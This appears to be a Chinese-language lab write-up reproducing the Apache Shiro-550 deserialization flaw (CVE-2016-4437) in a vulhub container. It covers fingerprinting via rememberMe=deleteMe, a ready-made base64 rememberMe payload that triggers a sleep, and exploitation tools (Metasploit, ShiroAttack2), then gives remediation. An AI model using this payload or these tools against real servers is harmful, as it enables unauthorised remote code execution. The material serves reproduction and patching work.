跳转至

CVE 2016 4437

Shiro-550(CVE-2016-4437 反序列化漏洞)

漏洞描述

shiro-550主要是由shiro的rememberMe内容反序列化导致的命令执行漏洞,造成的原因是默认加密密钥是硬编码在shiro源码中,任何有权访问源代码的人都可以知道默认加密密钥。于是攻击者可以创建一个恶意对象,对其进行序列化、编码,然后将其作为cookie的rememberMe字段内容发送,Shiro 将对其解码和反序列化,导致服务器运行一些恶意代码。

特征:cookie中含有rememberMe字段

影响版本

  • shiro 1.x < 1.2.5

环境配置

使用vulhub项目,docker-compose启动

Bash
docker-compose up -d

image-20250605164857668

漏洞复现

image-20250605164916443

判断漏洞存在性

设置代理,随便输入账号密码,使用burp抓取请求包,在返回包中set_cookie中存在rememberMe=deleteMe特征

image-20250605170422203

如果直接发送数据包,返回包不存在特征:Set-Cookie: rememberMe=deleteMe;

可以在请求包中的cookie中添加:rememberMe=deleteMe;

然后查看返回包中是否存在特征:Set-Cookie: rememberMe=deleteMe;

image-20250605170607402

通过以上特征,我们可以判断网站使用了shiro,但是否存在漏洞还要进一步尝试利用

漏洞利用

java-chains

image-20250605171143219

我们选择使用sleep验证。时间设置为5秒,生成的base64 payload如下:

Text Only
AAAAAAAAAAAAAAAAAAAAAJE6IN+YLEO/t7NuQvYGo54pFMPmAy1jLjUdyV2cc+dKJ0aTntr18Yzsis+1QzDVvl+rnlJLeWPJuL0cSfWAzo+2No6vA3hYfiyY7N7bIdaAAkxZxFdOGUyPMfG4Vp2mmHjn+yS1RXTT9F5R0sGFblDzzZz+nZQsajao/gdRfw9LcryTLP6L34t9wsvsXnBU1VSf5hQbAnLNK8U6tmS8mE71BGg5DVxXjdaZ2Sktj6pGhYmrmySrHqvTuDxmZF+EgEjkGKPXMXcNQUxTctHxE2J+dr8QC/MvzHhDmCBji06RO0/7BTjQIK9oPXrMipvsPOBdHjhZXcgaR/6F+kH8u83tNY1wdbxLdL7MC+xVWl4uc3TSqdiNAkjcBvS9FXGr2oagBSNpr6/mOllM1TUvDn1Ovlj+y1pgO3ciDaV54SWoVzi6uaEsZ4QAlJtnm6bvMxeTOqlN7BlAOciXLydpRa6FSSTgpHbckGTRJk77sIrrzwgL9xrC6aBBO122By4s0Pa1gEAym0bMjE0DkLrwT6um0geHHQvGia9M+SolO50ejdNfmWvds1oibHodC13ZjW2Xpv0o8aXWoVge+9ljSpqAtLTUVgkQNH3Q9nwRGPFmGwV9hljJR0fY5qvZ7i+3N76+hTEXNhwKigP5fLVSPO2dUUJ21uvDqU1Qx5aYUctOrKiPpEyzQUTxxw8Vq2IB25+GORXdtKmui1NAWw2zOvhlHu0bsinXrNQQCgt3ieOEesziXuKdehcufHV1cvgnJRm0yvBkaMMZRQ5MMno7AV4KLRs0/w3q0v8fw3/6H0tJk97tPU/RDKQMoYrFiEEUJCwl4rXEcfu30rx1CBsLIwYncB9hoRjQeBs1llPEO5D9KeexDckZTR767iRmRSxoy7bBG7MVo+v0eb0HCsNm9i9PYKUNP/SAF25t6DnP4jpQDxCW8ks8jt6nPmQsAtzKnwy+dXGLrlaFbPlgCMDAI/0pqjjvzcr54W4ujHxgl4luCcP0Iztf+GyW/hJ6LCPRflGrkkvhsh+unPbHHQYuqP3qCswUaW0er/xF33pUfXCsMNWyzn4qJJiwXm2C0ynHTc/46dwwcWrtdRz2+DYgDJAbNRXdi3dOft6CdX2SWCGhFX3yGiyzc9iYcJW6ocWnUz12e5u9pl/a5Vdlno1kMR8zQtlg9tu3yB3uoJo+1eFy2/zuD7xsCdSXsCVB3AHNwUdm4jL90No9Adwlo7StaWFEBY3dlWxZMW/gbydMy46xiXE1N1Ke/UJJsci4xz1buBxVySkZlk5VPovPV1oiS1lTCHqq+6SH6ajq0Cs+NXqYiaX1/6ODWimwwiQeWpNjT3Lzy31UT5OngkPeOslGsNUWg4WiKFpZGsdZe6xijbKLovj6GBzJRyySEdUGM1Zcx87tQL/msH/pFqwgerk37vgnvTZq58CKSjCG+3SM8ycb0/6+lC+iImfOrUOs64C4XhWqzGGIo1xKJlK4awOYxnSPcjuYD0kly/acJ9zVFNY4e9XscJqZX91jpq6cUmubiK1JmXQBpgp8ecDcEwbZAil6VY11B0a11FOZFieT2RWpXkBOR+e4CCNuPqTU0JAyBwY9aCpI4/JU8TQzgQwWfFuDKgwXdpgnaHrWt6Q59rqK9gZ0XJ6WmwWwW4OEyEM0kA==

image-20250605171729249

将cookie中的rememberMe设置为payload重放,可以看到此时服务器已经触发了sleep

msf

Bash
search shiro

image-20250605172930661

ShiroAttack2

SummerSec/ShiroAttack2: shiro反序列化漏洞综合利用,包含(回显执行命令/注入内存马)修复原版中NoCC的问题 https://github.com/j1anFen/shiro_attack

注意以jdk8启动

Bash
java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar

image-20250605174510437

输入对应信息利用即可

漏洞原理

参考文章:Shiro 历史漏洞分析-先知社区

修复建议

1.确定自己使用的shiro版本要高于1.2.4;

2.在代码中全局搜索 "setCipherKey(Base64.decode(" 关键字,或者"setCipherKey"方法,Base64.decode()中的字符串就是shiro的密钥,要确保该密钥的安全性,千万不要使用公开的密钥。

image-20250605174902540

官方漏洞补丁:https://github.com/apache/shiro/commit/4d5bb000a7f3c02d8960b32e694a565c95976848

参考文章

深入利用Shiro反序列化漏洞-先知社区